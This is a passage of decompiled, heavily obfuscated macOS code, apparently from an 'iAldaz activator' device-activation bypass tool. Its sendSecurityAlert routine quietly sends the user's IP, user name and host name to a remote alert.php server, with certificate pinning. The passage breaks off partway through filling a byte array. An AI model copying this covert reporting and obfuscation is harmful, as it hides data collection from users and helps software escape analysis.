strcpy(asc_10028F250, "%@\n\n[IP: %@] [Usuario: %@] [Dispositivo: %@]");
strcpy(asc_1002845FB, "User-Agent");
strcpy(asc_10028F148, "Desconocido");
strcpy(asc_10028F12F, "unknown_user");
strcpy(asc_10028F320, "https://itunes.ialdaz-activator.com/API/AldazDevA12/alert.php");
strcpy(asc_100284DA0, "application/json");
asc_10028F11A[0] = 100;
asc_10028F11A[1] = 101;
asc_10028F11A[2] = 116;
asc_10028F11A[3] = 97;
asc_10028F11A[4] = 108;
asc_10028F11A[5] = 108;
asc_10028F11A[6] = 101;
asc_10028F11A[7] = 0;
asc_10028F1C0[0] = 91;
asc_10028F1C0[1] = 83;
asc_10028F1C0[2] = 69;
asc_10028F1C0[3] = 67;
asc_10028F1C0[4] = 85;
asc_10028F1C0[5] = 82;
asc_10028F1C0[6] = 73;
asc_10028F1C0[7] = 84;
asc_10028F1C0[8] = 89;
asc_10028F1C0[9] = 93;
asc_10028F1C0[10] = 32;
asc_10028F1C0[11] = 10060;
asc_10028F1C0[12] = 32;
asc_10028F1C0[13] = 69;
asc_10028F1C0[14] = 114;
asc_10028F1C0[15] = 114;
asc_10028F1C0[16] = 111;
asc_10028F1C0[17] = 114;
asc_10028F1C0[18] = 32;
asc_10028F1C0[19] = 115;
asc_10028F1C0[20] = 101;
asc_10028F1C0[21] = 114;
asc_10028F1C0[22] = 105;
asc_10028F1C0[23] = 97;
asc_10028F1C0[24] = 108;
asc_10028F1C0[25] = 105;
asc_10028F1C0[26] = 122;
asc_10028F1C0[27] = 97;
asc_10028F1C0[28] = 110;
asc_10028F1C0[29] = 100;
asc_10028F1C0[30] = 111;
asc_10028F1C0[31] = 32;
asc_10028F1C0[32] = 74;
asc_10028F1C0[33] = 83;
asc_10028F1C0[34] = 79;
asc_10028F1C0[35] = 78;
asc_10028F1C0[36] = 58;
asc_10028F1C0[37] = 32;
asc_10028F1C0[38] = 37;
asc_10028F1C0[39] = 64;
asc_10028F1C0[40] = 0;
}
v71 = a2;
v74 = a1;
dword_10029F688 = 1;
v79 = &v63 - 6;
objc_retain(a1);
objc_retain(v71);
v80 = &v63 - 4;
v78 = &v63 - 4;
v76 = &v62;
block = &v63 - 6;
v75 = &v63 - 6;
v2 = +[NSURL URLWithString:](
&OBJC_CLASS___NSURL,
"URLWithString:",
CFSTR("\xD5\x48\x0Fs|f\xB2\xF4\x08\xCC\xACP\x95\xCB\x58\x04\x8A\xE5\x40\x22&\x8F'\xC2\xFAۏ\xE9\x8A\x1E\x8A\x85\x93\x93$\xF5\x4A\x35\xAE\x82\xE2\x07\x95\x93x\xBA\xEE\x01\x83W\xF2\x08\xC5\x27p\xF2\x69\x6E\xB6\x93\x1F"),
1171135327);
v63 = objc_retainAutoreleasedReturnValue(v2);
v3 = +[NSMutableURLRequest requestWithURL:](&OBJC_CLASS___NSMutableURLRequest, "requestWithURL:", v63);
v4 = objc_retainAutoreleasedReturnValue(v3);
-[NSMutableURLRequest setHTTPMethod:](v4, "setHTTPMethod:", CFSTR("\xB1\x0F`\xBEY"));
HikariFunctionWrapper_19279(v4, "setValue:forHTTPHeaderField:");
v72 = v4;
-[NSMutableURLRequest setValue:forHTTPHeaderField:](
v4,
"setValue:forHTTPHeaderField:",
CFSTR("N\x81\xE6\x16\x8Cy\xA5\xE8\xE0\x58I*\x01\x8B(tr;\x11\xE6\x28\xAB\x82\x81\xC6\xC4\xAFg\xC5\x2D(\x19\x8ER\xFD\xF0\xCF\xFA\x02IZ`\x11\bh\xBFO3Z\x8E"),
CFSTR("\xAF\u05CF\fy\xC1\x37\xB4\xB4K\x1E"));
v5 = +[NSHost currentHost](&OBJC_CLASS___NSHost, "currentHost");
v6 = objc_retainAutoreleasedReturnValue(v5);
v7 = -[NSHost localizedName](v6, "localizedName");
v8 = objc_retainAutoreleasedReturnValue(v7);
v9 = v8;
v10 = CFSTR("`\xDD\xE5{bX\xCD\x34\x1A\x19\x90B");
if ( v8 )
v10 = v8;
objc_retain(v10);
objc_release(v9);
objc_release(v6);
v11 = HikariFunctionWrapper_19281();
v12 = objc_retainAutoreleasedReturnValue(v11);
v13 = v12;
v14 = CFSTR("/\xA3\xD2\x0F'\xF0\x62\x7D\x53\xDA\x5A\vY");
if ( v12 )
v14 = v12;
objc_retain(v14);
objc_release(v13);
v15 = v79;
*(_QWORD *)v79 = 0;
v15[1] = v15;
v15[2] = 0x3032000000LL;
v68 = v14;
v67 = v10;
v16 = v79;
*((_QWORD *)v79 + 3) = __Block_byref_object_copy__1;
v16[4] = __Block_byref_object_dispose__1;
v16[5] = CFSTR("pº\a\xD8\x7BW\xF2\x2B\xAC\x40");
v70 = dispatch_semaphore_create(0);
v17 = +[NSURL URLWithString:](
&OBJC_CLASS___NSURL,
"URLWithString:",
CFSTR("\x00\x8E\a\x06\xC2\x782\x8F\xDF\xE5\xE1\x47\x10=\xDA\x06\x13\x87/C\xBD\xBE"));
v69 = objc_retainAutoreleasedReturnValue(v17);
v18 = v70;
v19 = +[NSURLSession sharedSession](&OBJC_CLASS___NSURLSession, "sharedSession", 0, 255296569);
v20 = objc_retainAutoreleasedReturnValue(v19);
v21 = v75;
*v75 = _NSConcreteStackBlock;
v21[1] = (id)3254779904LL;
v21[2] = __sendSecurityAlert_block_invoke;
v73 = v20;
v22 = v79;
v21[3] = &__block_descriptor_48_e8_32s40r_e46_v32__0__NSData_8__NSURLResponse_16__NSError_24l;
v21[5] = v22;
objc_retain(v18);
v75[4] = v18;
v23 = v71;
v24 = (dispatch_semaphore_s *)v70;
v25 = v73;
v26 = HikariFunctionWrapper_19283(v73, "dataTaskWithURL:completionHandler:");
v27 = objc_retainAutoreleasedReturnValue(v26);
objc_release(v25);
HikariFunctionWrapper_19285(v27, "resume");
v28 = dispatch_time(0, 2000000000);
dispatch_semaphore_wait(v24, v28);
v29 = v67;
v30 = +[NSString stringWithFormat:](
&OBJC_CLASS___NSString,
"stringWithFormat:",
CFSTR("\xF8\x02\xB7\"q\xF8\xCE\x10M\xB5\xEB\x0A\xCA\xDB\x39]\x16\xA0\xA6\xBC\x8B\xA83\x95\x0E\xA3v\"\xBA\xC9\xF8\x87\xEF\x2F\x9Cb\xD6\x1B\xBD\x82[`\xAAP*"),
v23,
*(_QWORD *)(*((_QWORD *)v79 + 1) + 40LL),
v68,
v67);
v31 = objc_retainAutoreleasedReturnValue(v30);
v32 = block;
v33 = v31;
v34 = v78;
v35 = v80;
v36 = v74;
*(_QWORD *)v80 = CFSTR("\xD6\x0BW\xC8\x3Ce\xB6");
*v34 = v36;
v37 = v78;
*((_QWORD *)v80 + 1) = CFSTR("\x88\xE2\x50\x8E\x12[#\xBD");
v37[1] = v31;
v65 = v27;
*((_QWORD *)v80 + 2) = CFSTR("Ѧ\xB0<\x9EC");
v38 = +[NSDate date](&OBJC_CLASS___NSDate, "date", 114114567, CFSTR("Ѧ\xB0<\x9EC"), v35);
v77 = objc_retainAutoreleasedReturnValue(v38);
v39 = HikariFunctionWrapper_19287(v77, "description");
v40 = objc_retainAutoreleasedReturnValue(v39);
v41 = v78;
v42 = v80;
*((_QWORD *)v78 + 2) = v40;
v42[3] = CFSTR("\x06]6gO&\xF9\x83(jb)");
v41[3] = v29;
v43 = +[NSDictionary dictionaryWithObjects:forKeys:count:](
&OBJC_CLASS___NSDictionary,
"dictionaryWithObjects:forKeys:count:",
v78,
v80,
4);
v44 = objc_retainAutoreleasedReturnValue(v43);
objc_release(v40);
objc_release(v77);
*(_QWORD *)v76 = 0;
v80 = v44;
v45 = +[NSJSONSerialization dataWithJSONObject:options:error:](
&OBJC_CLASS___NSJSONSerialization,
"dataWithJSONObject:options:error:",
v44,
0);
v77 = objc_retainAutoreleasedReturnValue(v45);
v78 = *(id *)v76;
objc_retain(v78);
v73 = v33;
if ( v78 )
{
NSLog(
CFSTR("檲⨡蠍䌴ㅟ鿜敓댆衸吇譓艇ꈴ⽦릜绔敜አ⺱\xFA\xDB\xDC\xA8訦㡶ꯔ൜アാ房\x0C\xDD䔮৩ﺮ律\x0B\xD9\xD6\xF6ᬞ弅퍵"),
v78,
v46,
839681056);
}
else
{
v47 = HikariFunctionWrapper_19289(&OBJC_CLASS___NSURLSessionConfiguration, "defaultSessionConfiguration");
v76 = objc_retainAutoreleasedReturnValue(v47);
v48 = objc_alloc((Class)&OBJC_CLASS___NSObject);
v49 = HikariFunctionWrapper_19291(v48, "init");
v50 = +[NSURLSession sessionWithConfiguration:delegate:delegateQueue:](
&OBJC_CLASS___NSURLSession,
"sessionWithConfiguration:delegate:delegateQueue:",
v76,
v49,
0);
v51 = objc_retainAutoreleasedReturnValue(v50);
objc_release(v49);
v52 = -[NSURLSession delegate](v51, "delegate");
v53 = objc_retainAutoreleasedReturnValue(v52);
*v32 = _NSConcreteGlobalBlock;
v32[1] = 3498049536LL;
v32[2] = __sendSecurityAlert_block_invoke_1794;
v32[3] = &__block_descriptor_40_e5_v8__0ls32l8;
objc_retain(v53);
v32[4] = v53;
if ( sendSecurityAlert_onceToken != -1 )
HikariFunctionWrapper_19293(&sendSecurityAlert_onceToken, v32);
v66 = v51;
v54 = -[NSURLSession uploadTaskWithRequest:fromData:completionHandler:](
v51,
"uploadTaskWithRequest:fromData:completionHandler:",
v72,
v77,
&__block_literal_global_1798);
v55 = objc_retainAutoreleasedReturnValue(v54);
HikariFunctionWrapper_19295(v55, "resume");
objc_release(v55);
v56 = v66;
((void (__fastcall *)(_QWORD))objc_release)(v32[4]);
((void (__fastcall *)(id))objc_release)(v53);
((void (__fastcall *)(id))objc_release)(v56);
objc_release(v76);
}
v57 = v78;
v58 = v70;
objc_release(v77);
objc_release(v57);
objc_release(v80);
objc_release(v73);
objc_release(v65);
objc_release(v75[4]);
objc_release(v69);
objc_release(v58);
_Block_object_dispose(v79, 8);
v59 = v63;
v60 = v74;
objc_release(*((id *)v79 + 5));
objc_release(v68);
objc_release(v67);
objc_release(v72);
objc_release(v59);
objc_release(v71);
objc_release(v60);
return -1;
}
// 1002030A2: conditional instruction was optimized away because r14d.4==1
// 10020382B: variable 'v46' is possibly undefined
// 10025B648: using guessed type Block_layout __block_literal_global_1798;
// 10028F1C0: using guessed type __int16 asc_10028F1C0[41];
// 10028F3C0: using guessed type __CFString cfstr_E_29;
// 10028F400: using guessed type __CFString stru_10028F400;
// 10028F440: using guessed type __CFString stru_10028F440;
// 10028F480: using guessed type __CFString stru_10028F480;
// 10028F4C0: using guessed type __CFString cfstr_Po;
// 10028F500: using guessed type __CFString stru_10028F500;
// 10028F540: using guessed type __CFString cfstr_6go;
// 10028F580: using guessed type __CFString stru_10028F580;
// 10028F5C0: using guessed type __CFString stru_10028F5C0;
// 10028F600: using guessed type __CFString cfstr_N_24_3;
// 10028F6C0: using guessed type __CFString stru_10028F6C0;
// 10028F700: using guessed type __CFString stru_10028F700;
// 10028F740: using guessed type __CFString stru_10028F740;
// 10029F688: using guessed type int dword_10029F688;
//----- (000000010020446E) ----------------------------------------------------
__int64 __fastcall __sendSecurityAlert_block_invoke(__int64 a1, void *a2, __int64 a3, __int64 a4)
{
__int64 result; // rax
char v6; // cf
int v7; // eax
int v8; // ecx
int v9; // ecx
id v10; // rax
__int64 v11; // rax
void *v12; // rdi
bool v13; // zf
int v14; // ecx
__int64 v15; // rax
void *v16; // rdi
id v17; // rax
dispatch_semaphore_s **v18; // [rsp+0h] [rbp-70h]
__int64 v20; // [rsp+10h] [rbp-60h]
id v21; // [rsp+18h] [rbp-58h]
__int64 v22; // [rsp+20h] [rbp-50h]
dispatch_semaphore_s *dsema; // [rsp+28h] [rbp-48h]
int v24; // [rsp+38h] [rbp-38h] BYREF
bool v25; // [rsp+3Dh] [rbp-33h]
bool v26; // [rsp+3Eh] [rbp-32h]
bool v27; // [rsp+3Fh] [rbp-31h]
int *v28; // [rsp+40h] [rbp-30h]
v24 = 587394292;
v28 = &v24;
v20 = a1 + 40;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
result = (unsigned int)v24;
if ( v24 <= 63009601 )
break;
if ( v24 > 1243248835 )
{
if ( v24 > 1589667907 )
{
if ( v24 > 1713822025 )
{
if ( v24 == 1713822026 )
{
v13 = !v27;
v7 = -939711144;
v14 = 645124509;
LABEL_80:
if ( !v13 )
v7 = v14;
LABEL_86:
*v28 = v7;
}
else if ( v24 == 2050113288 )
{
v6 = 1;
v7 = -1138276250;
v8 = -1932805658;
goto LABEL_72;
}
}
else if ( v24 == 1589667908 )
{
*v28 = -939711144;
}
else if ( v24 == 1712216216 )
{
v9 = 1316389592;
LABEL_84:
v7 = v9;
goto LABEL_86;
}
}
else if ( v24 > 1316389591 )
{
if ( v24 == 1316389592 )
{
*v28 = 1589667908;
}
else if ( v24 == 1339692974 )
{
*v28 = -1866006283;
}
}
else if ( v24 == 1243248836 )
{
*v28 = -486637175;
}
else if ( v24 == 1283360313 )
{
v6 = 0;
v7 = 104897787;
v8 = -145037644;
goto LABEL_72;
}
}
else if ( v24 > 587394291 )
{
if ( v24 > 925525055 )
{
if ( v24 == 925525056 )
{
v9 = 500667356;
goto LABEL_84;
}
if ( v24 == 965129894 )
*v28 = 1712216216;
}
else
{
if ( v24 == 587394292 )
{
v6 = 0;
v7 = -449994714;
goto LABEL_71;
}
if ( v24 == 645124509 )
{
v6 = 0;
v7 = -953889017;
v8 = -219515322;
goto LABEL_72;
}
}
}
else if ( v24 > 440193041 )
{
if ( v24 == 440193042 )
{
*v28 = 2050113288;
}
else if ( v24 == 500667356 )
{
dispatch_semaphore_signal(dsema);
v6 = 0;
v7 = -612130530;
v8 = 500667356;
goto LABEL_72;
}
}
else
{
if ( v24 == 63009602 )
{
v9 = -984177119;
goto LABEL_84;
}
if ( v24 == 104897787 )
{
v27 = v25 && v26;
v7 = 440193042;
goto LABEL_86;
}
}
}
if ( v24 > -612130531 )
break;
if ( v24 > -953889018 )
{
if ( v24 > -857288436 )
{
if ( v24 == -857288435 )
{
*v28 = 63009602;
}
else if ( v24 == -777522927 )
{
dispatch_semaphore_signal(dsema);
*v28 = 500667356;
}
}
else
{
if ( v24 == -953889017 )
{
objc_retain(a2);
v17 = HikariFunctionWrapper_19301((objc_class *)&OBJC_CLASS___NSString);
v21 = objc_msgSend(v17, "initWithData:encoding:", a2, 4);
objc_release(a2);
v22 = v20;
v7 = -857288435;
goto LABEL_86;
}
if ( v24 == -939711144 )
{
v6 = 1;
v7 = 1243248836;
goto LABEL_67;
}
}
}
else if ( v24 > -1138276251 )
{
if ( v24 == -1138276250 )
{
*v28 = -1932805658;
}
else if ( v24 == -984177119 )
{
v11 = *(_QWORD *)(*(_QWORD *)v22 + 8LL);
v12 = *(void **)(v11 + 40);
*(_QWORD *)(v11 + 40) = v21;
objc_release(v12);
v13 = 0;
v7 = -984177119;
v14 = 965129894;
goto LABEL_80;
}
}
else
{
if ( v24 == -1932805658 )
{
v9 = 1713822026;
goto LABEL_84;
}
if ( v24 == -1866006283 )
{
dsema = *v18;
*v28 = 925525056;
}
}
}
if ( v24 <= -145037645 )
break;
if ( v24 > 18602 )
{
if ( v24 == 18603 )
{
*v28 = -449994714;
}
else if ( v24 == 36458606 )
{
v15 = *(_QWORD *)(*(_QWORD *)v22 + 8LL);
v16 = *(void **)(v15 + 40);
*(_QWORD *)(v15 + 40) = v21;
objc_release(v16);
*v28 = -984177119;
}
}
else if ( v24 == -145037644 )
{
*v28 = 104897787;
}
else if ( v24 == -104619387 )
{
*v28 = 1316389592;
}
}
if ( v24 <= -336206375 )
break;
if ( v24 == -336206374 )
{
*v28 = 1283360313;
}
else if ( v24 == -219515322 )
{
objc_retain(a2);
v10 = objc_alloc((Class)&OBJC_CLASS___NSString);
objc_msgSend(v10, "initWithData:encoding:", a2, 4);
objc_release(a2);
*v28 = -953889017;
}
}
if ( v24 == -486637175 )
{
v6 = 0;
v18 = (dispatch_semaphore_s **)(a1 + 32);
v7 = 1339692974;
LABEL_67:
v8 = -486637175;
LABEL_72:
if ( v6 )
v7 = v8;
goto LABEL_86;
}
if ( v24 == -449994714 )
{
v25 = a4 == 0;
v26 = a2 != 0;
v6 = 0;
v7 = -336206374;
LABEL_71:
v8 = 18603;
goto LABEL_72;
}
}
while ( v24 != -612130530 );
return result;
}
// 100204667: variable 'v18' is possibly undefined
// 100204895: variable 'dsema' is possibly undefined
// 1002049C5: variable 'v22' is possibly undefined
// 1002049D4: variable 'v21' is possibly undefined
//----- (0000000100204CA0) ----------------------------------------------------
__int64 __fastcall __copy_helper_block_e8_32s40r(__int64 a1, __int64 a2)
{
void *v2; // r14
__int64 result; // rax
int v4; // eax
int v5; // ecx
const void **v6; // [rsp+0h] [rbp-40h]
int v7; // [rsp+Ch] [rbp-34h] BYREF
int *v8; // [rsp+10h] [rbp-30h]
v7 = 798326109;
v8 = &v7;
v2 = (void *)(a1 + 40);
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
result = (unsigned int)v7;
if ( v7 > 924216333 )
break;
if ( v7 > -208495752 )
{
switch ( v7 )
{
case -208495751:
_Block_object_assign(v2, *v6, 8);
LABEL_25:
*v8 = -1720671377;
break;
case 677945282:
v4 = 1724724072;
LABEL_30:
*v8 = v4;
break;
case 798326109:
v4 = 924216334;
goto LABEL_30;
}
}
else
{
switch ( v7 )
{
case -1720671377:
_Block_object_assign(v2, *v6, 8);
v5 = 1300547746;
goto LABEL_23;
case -1026682484:
v4 = 677945282;
goto LABEL_30;
case -533970054:
*v8 = 2047924482;
break;
}
}
}
if ( v7 > 1432679207 )
break;
switch ( v7 )
{
case 924216334:
objc_retain(*(id *)(a2 + 32));
v6 = (const void **)(a2 + 40);
v5 = -533970054;
LABEL_23:
v4 = v5;
goto LABEL_30;
case 1184988639:
objc_retain(*(id *)(a2 + 32));
*v8 = 924216334;
break;
case 1300547746:
*v8 = -1026682484;
break;
}
}
if ( v7 != 1432679208 )
break;
*v8 = 677945282;
}
if ( v7 == 2047924482 )
goto LABEL_25;
}
while ( v7 != 1724724072 );
return result;
}
// 100204E61: conditional instruction was optimized away because zf.1==0
// 100204E40: variable 'v6' is possibly undefined
//----- (0000000100204F48) ----------------------------------------------------
void __fastcall __destroy_helper_block_e8_32s40r(__int64 a1)
{
int v1; // eax
id *v2; // [rsp+0h] [rbp-40h]
int v3; // [rsp+Ch] [rbp-34h] BYREF
int *v4; // [rsp+10h] [rbp-30h]
v3 = 1187959820;
v4 = &v3;
do
{
while ( 1 )
{
while ( 1 )
{
while ( v3 > 1035382919 )
{
if ( v3 > 1187959819 )
{
if ( v3 == 1913676375 )
{
*v4 = 1074144346;
}
else if ( v3 == 1187959820 )
{
v1 = -585939234;
goto LABEL_21;
}
}
else if ( v3 == 1035382920 )
{
*v4 = -626997426;
}
else if ( v3 == 1074144346 )
{
v1 = -1478550454;
goto LABEL_21;
}
}
if ( v3 <= -27124201 )
break;
if ( v3 == -27124200 )
{
*v4 = -585939234;
}
else if ( v3 == 625014817 )
{
HikariFunctionWrapper_19303(*(const void **)(a1 + 40), 8);
*v4 = -1478550454;
}
}
if ( v3 != -1478550454 )
break;
_Block_object_dispose(*(const void **)(a1 + 40), 8);
v1 = 1035382920;
LABEL_21:
*v4 = v1;
}
if ( v3 == -585939234 )
{
v2 = (id *)(a1 + 32);
v1 = 1913676375;
goto LABEL_21;
}
}
while ( v3 != -626997426 );
objc_release(*v2);
}
// 1002050DC: conditional instruction was optimized away because %var_38.4==39F95AA9
// 100205163: conditional instruction was optimized away because r12d.4==EFFFFD7E
// 100205180: variable 'v2' is possibly undefined
//----- (0000000100205197) ----------------------------------------------------
__int64 __fastcall __sendSecurityAlert_block_invoke_1794(__int64 a1)
{
__int64 result; // rax
bool v2; // zf
int v3; // eax
int v4; // ecx
objc_class *v5; // rax
int v6; // ecx
id v7; // [rsp+0h] [rbp-50h]
int v8; // [rsp+Ch] [rbp-44h]
int v9; // [rsp+10h] [rbp-40h] BYREF
bool v10; // [rsp+16h] [rbp-3Ah]
char v11; // [rsp+17h] [rbp-39h]
int *v12; // [rsp+18h] [rbp-38h]
char v13; // [rsp+27h] [rbp-29h]
v9 = 715862894;
v12 = &v9;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
result = (unsigned int)v9;
if ( v9 <= 564319712 )
break;
if ( v9 > 1169486502 )
{
if ( v9 <= 1334590382 )
{
if ( v9 == 1169486503 )
{
v8 = dword_10029F698;
v3 = 1565228801;
goto LABEL_51;
}
if ( v9 == 1284923566 )
goto LABEL_33;
}
else
{
switch ( v9 )
{
case 1334590383:
v3 = 713426565;
goto LABEL_51;
case 1390401315:
byte_10028F769 = v13;
byte_10028F76A = 64;
byte_10028F76B = 64;
byte_10028F76C = 63;
byte_10028F76D = 0;
*v12 = -1059988065;
break;
case 1565228801:
*v12 = 1334590383;
break;
}
}
}
else if ( v9 <= 713426564 )
{
if ( v9 == 564319713 )
{
v2 = !v10;
v3 = 233159538;
v4 = -1550564645;
LABEL_42:
if ( !v2 )
v3 = v4;
LABEL_51:
*v12 = v3;
}
else if ( v9 == 703904285 )
{
*v12 = 233159538;
}
}
else
{
switch ( v9 )
{
case 713426565:
v10 = v8 == 0;
v6 = -1726798463;
LABEL_50:
v3 = v6;
goto LABEL_51;
case 715862894:
v3 = 1169486503;
goto LABEL_51;
case 993085273:
*v12 = 1169486503;
break;
}
}
}
if ( v9 > -1032344666 )
break;
if ( v9 <= -1697731970 )
{
if ( v9 == -1757654644 )
{
v6 = 209982004;
goto LABEL_50;
}
if ( v9 == -1726798463 )
*v12 = 564319713;
}
else
{
switch ( v9 )
{
case -1697731969:
v6 = -1059988065;
goto LABEL_50;
case -1550564645:
byte_10028F767 = 118;
v11 = 64;
*v12 = 222152713;
break;
case -1059988065:
v2 = 0;
byte_10028F769 = v13;
byte_10028F76A = 64;
byte_10028F76B = 64;
byte_10028F76C = 63;
byte_10028F76D = 0;
v3 = -1059988065;
v4 = 703904285;
goto LABEL_42;
}
}
}
if ( v9 > 209982003 )
break;
switch ( v9 )
{
case -1032344665:
*v12 = 713426565;
break;
case 78263057:
v5 = (objc_class *)objc_msgSend(v7, "class");
HikariFunctionWrapper_19305(
v5,
"URLSession:didReceiveChallenge:completionHandler:",
(id (*)(id, SEL, ...))PinningChallengeHandler,
&byte_10028F767);
*v12 = 1284923566;
break;
case 164201414:
LABEL_33:
*v12 = -1757654644;
break;
}
}
if ( v9 != 222152713 )
break;
byte_10028F768 = v11;
v13 = 58;
*v12 = -1697731969;
}
if ( v9 != 233159538 )
break;
dword_10029F698 = 1;
v7 = *(id *)(a1 + 32);
*v12 = 78263057;
}
}
while ( v9 != 209982004 );
return result;
}
// 100205431: conditional instruction was optimized away because %var_48.4==472800D0
// 100205666: conditional instruction was optimized away because cf.1==0
// 1002054E1: variable 'v7' is possibly undefined
// 10020558E: variable 'v8' is possibly undefined
// 10028F768: using guessed type char byte_10028F768;
// 10028F769: using guessed type char byte_10028F769;
// 10028F76A: using guessed type char byte_10028F76A;
// 10028F76B: using guessed type char byte_10028F76B;
// 10028F76C: using guessed type char byte_10028F76C;
// 10028F76D: using guessed type char byte_10028F76D;
// 10029F698: using guessed type int dword_10029F698;
//----- (00000001002056CB) ----------------------------------------------------
unsigned __int64 __fastcall PinningChallengeHandler(id a1, SEL a2, __int64 a3, void *a4, NSURLCredential *a5)
{
unsigned __int64 result; // rax
id v7; // rax
__SecTrust *v8; // rax
bool v9; // zf
int v10; // eax
int v11; // ecx
char v12; // cf
int v13; // ecx
id v14; // rax
char v15; // cf
int v16; // ecx
NSURLCredential *v17; // rax
CFDataRef v18; // r15
id v19; // rax
id v20; // rax
id v21; // rax
id v22; // rax
id v23; // [rsp+0h] [rbp-90h]
__SecCertificate *certificate; // [rsp+8h] [rbp-88h]
id v25; // [rsp+10h] [rbp-80h]
NSURLCredential *v26; // [rsp+18h] [rbp-78h]
NSURLCredential *v27; // [rsp+20h] [rbp-70h]
int v29; // [rsp+38h] [rbp-58h]
int v30; // [rsp+3Ch] [rbp-54h] BYREF
SecTrustRef trust; // [rsp+40h] [rbp-50h]
id v32; // [rsp+48h] [rbp-48h]
NSURLCredential *v33; // [rsp+50h] [rbp-40h]
bool v34; // [rsp+5Dh] [rbp-33h]
char v35; // [rsp+5Eh] [rbp-32h]
bool v36; // [rsp+5Fh] [rbp-31h]
int *v37; // [rsp+60h] [rbp-30h]
v30 = -718252623;
v37 = &v30;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
result = (unsigned int)v30;
if ( v30 <= -615132695 )
break;
if ( v30 <= 974779767 )
{
if ( v30 <= 140570713 )
{
if ( v30 > -485364989 )
{
switch ( v30 )
{
case -485364988:
v9 = !v34;
v10 = -1631578343;
v11 = -1925230794;
goto LABEL_137;
case -87793588:
*v37 = 408900655;
break;
case 116244430:
v17 = +[NSURLCredential credentialForTrust:](
&OBJC_CLASS___NSURLCredential,
"credentialForTrust:",
trust);
v33 = objc_retainAutoreleasedReturnValue(v17);
*v37 = -2098073017;
break;
}
}
else
{
switch ( v30 )
{
case -615132694:
objc_release(v27);
objc_release(v25);
objc_release(v32);
*v37 = -1538823216;
break;
case -600454561:
asc_10028FD00[122] = 119;
asc_10028FD00[123] = 119;
asc_10028FD00[124] = 67;
asc_10028FD00[125] = 103;
asc_10028FD00[126] = 89;
asc_10028FD00[127] = 68;
asc_10028FD00[128] = 86;
asc_10028FD00[129] = 81;
asc_10028FD00[130] = 81;
asc_10028FD00[131] = 68;
asc_10028FD00[132] = 69;
asc_10028FD00[133] = 119;
asc_10028FD00[134] = 78;
asc_10028FD00[135] = 88;
asc_10028FD00[136] = 82;
asc_10028FD00[137] = 84;
asc_10028FD00[138] = 69;
asc_10028FD00[139] = 119;
asc_10028FD00[140] = 72;
asc_10028FD00[141] = 104;
asc_10028FD00[142] = 99;
asc_10028FD00[143] = 78;
asc_10028FD00[144] = 77;
asc_10028FD00[145] = 106;
asc_10028FD00[146] = 85;
asc_10028FD00[147] = 120;
asc_10028FD00[148] = 77;
asc_10028FD00[149] = 84;
asc_10028FD00[150] = 69;
asc_10028FD00[151] = 120;
asc_10028FD00[152] = 77;
asc_10028FD00[153] = 84;
asc_10028FD00[154] = 73;
asc_10028FD00[155] = 120;
asc_10028FD00[156] = 78;
asc_10028FD00[157] = 122;
asc_10028FD00[158] = 81;
asc_10028FD00[159] = 49;
asc_10028FD00[160] = 87;
asc_10028FD00[161] = 104;
asc_10028FD00[162] = 99;
asc_10028FD00[163] = 78;
asc_10028FD00[164] = 77;
asc_10028FD00[165] = 106;
asc_10028FD00[166] = 89;
asc_10028FD00[167] = 119;
asc_10028FD00[168] = 77;
asc_10028FD00[169] = 106;
asc_10028FD00[170] = 65;
asc_10028FD00[171] = 53;
asc_10028FD00[172] = 77;
asc_10028FD00[173] = 84;
asc_10028FD00[174] = 77;
asc_10028FD00[175] = 120;
asc_10028FD00[176] = 78;
asc_10028FD00[177] = 84;
asc_10028FD00[178] = 85;
asc_10028FD00[179] = 49;
asc_10028FD00[180] = 87;
asc_10028FD00[181] = 106;
asc_10028FD00[182] = 65;
asc_10028FD00[183] = 102;
asc_10028FD00[184] = 77;
asc_10028FD00[185] = 82;
asc_10028FD00[186] = 48;
asc_10028FD00[187] = 119;
asc_10028FD00[188] = 71;
asc_10028FD00[189] = 119;
asc_10028FD00[190] = 89;
asc_10028FD00[191] = 68;
asc_10028FD00[192] = 86;
asc_10028FD00[193] = 81;
asc_10028FD00[194] = 81;
asc_10028FD00[195] = 68;
asc_10028FD00[196] = 69;
asc_10028FD00[197] = 120;
asc_10028FD00[198] = 82;
asc_10028FD00[199] = 112;
asc_10028FD00[200] = 89;
asc_10028FD00[201] = 87;
asc_10028FD00[202] = 120;
asc_10028FD00[203] = 107;
asc_10028FD00[204] = 89;
asc_10028FD00[205] = 88;
asc_10028FD00[206] = 111;
asc_10028FD00[207] = 116;
asc_10028FD00[208] = 89;
asc_10028FD00[209] = 87;
asc_10028FD00[210] = 78;
asc_10028FD00[211] = 48;
asc_10028FD00[212] = 97;
asc_10028FD00[213] = 88;
asc_10028FD00[214] = 90;
asc_10028FD00[215] = 104;
asc_10028FD00[216] = 100;
asc_10028FD00[217] = 71;
asc_10028FD00[218] = 57;
asc_10028FD00[219] = 121;
asc_10028FD00[220] = 76;
asc_10028FD00[221] = 109;
asc_10028FD00[222] = 78;
asc_10028FD00[223] = 118;
asc_10028FD00[224] = 98;
asc_10028FD00[225] = 84;
asc_10028FD00[226] = 66;
asc_10028FD00[227] = 90;
asc_10028FD00[228] = 77;
asc_10028FD00[229] = 66;
asc_10028FD00[230] = 77;
asc_10028FD00[231] = 71;
asc_10028FD00[232] = 66;
asc_10028FD00[233] = 121;
asc_10028FD00[234] = 113;
asc_10028FD00[235] = 71;
asc_10028FD00[236] = 83;
asc_10028FD00[237] = 77;
asc_10028FD00[238] = 52;
asc_10028FD00[239] = 57;
asc_10028FD00[240] = 65;
asc_10028FD00[241] = 103;
asc_10028FD00[242] = 69;
asc_10028FD00[243] = 71;
asc_10028FD00[244] = 67;
asc_10028FD00[245] = 67;
asc_10028FD00[246] = 113;
asc_10028FD00[247] = 71;
asc_10028FD00[248] = 83;
asc_10028FD00[249] = 77;
asc_10028FD00[250] = 52;
asc_10028FD00[251] = 57;
asc_10028FD00[252] = 65;
asc_10028FD00[253] = 119;
asc_10028FD00[254] = 69;
asc_10028FD00[255] = 72;
asc_10028FD00[256] = 65;
asc_10028FD00[257] = 48;
asc_10028FD00[258] = 73;
asc_10028FD00[259] = 65;
asc_10028FD00[260] = 66;
asc_10028FD00[261] = 67;
asc_10028FD00[262] = 81;
